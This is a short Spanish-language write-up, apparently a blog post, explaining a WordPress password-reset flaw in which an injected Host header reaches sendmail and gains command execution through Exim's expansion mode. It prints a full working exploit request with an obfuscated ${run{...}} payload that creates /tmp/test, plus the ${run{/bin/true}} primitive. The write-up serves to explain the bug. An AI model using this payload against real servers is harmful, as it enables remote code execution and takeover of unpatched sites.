El resumen es que si envias esta peticion:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
Ejecutas /usr/bin/touch en /tmp/test, el bug es que el codigo de wordpress usa:
$phpmailer->setFrom( $from_email, $from_name );
Y como es implementado, ese comando se convierte en:
/usr/sbin/sendmail -t -i -fREMITENTE
Donde REMITENTE proviene del valor del valor de la cabecera Host, como nosotros controlamos la cabezera Host, solo debemos poner algo ahi y podemos controlar que escriba cualquier cosa.
La vulnerabilidad despues se convierte en ejecucion de codigo por medio de EXIM MTA
http://www.exim.org/ , que es el servidor de correo instalado por default en Debian y Ubuntu.
Este tiene una opcion que se llama "Expansion Testing Mode", o modo de expansión de prueba, que puede ser usado para que EXIM lea y ejecute comandos en un lenguage propietario. Uno de los comandos es
run.
Cuando haces:
${run{/bin/true}{yes}{no}}
Ejecuta /bin/true.. Facil
El motivo por el cual el exploit es mas complicado es porque la cabecera de Host no permite diagonales ni espacios, por lo que Dawid uso diagnoales y espacios en otras variables disponibles en el ambiente de EXIM.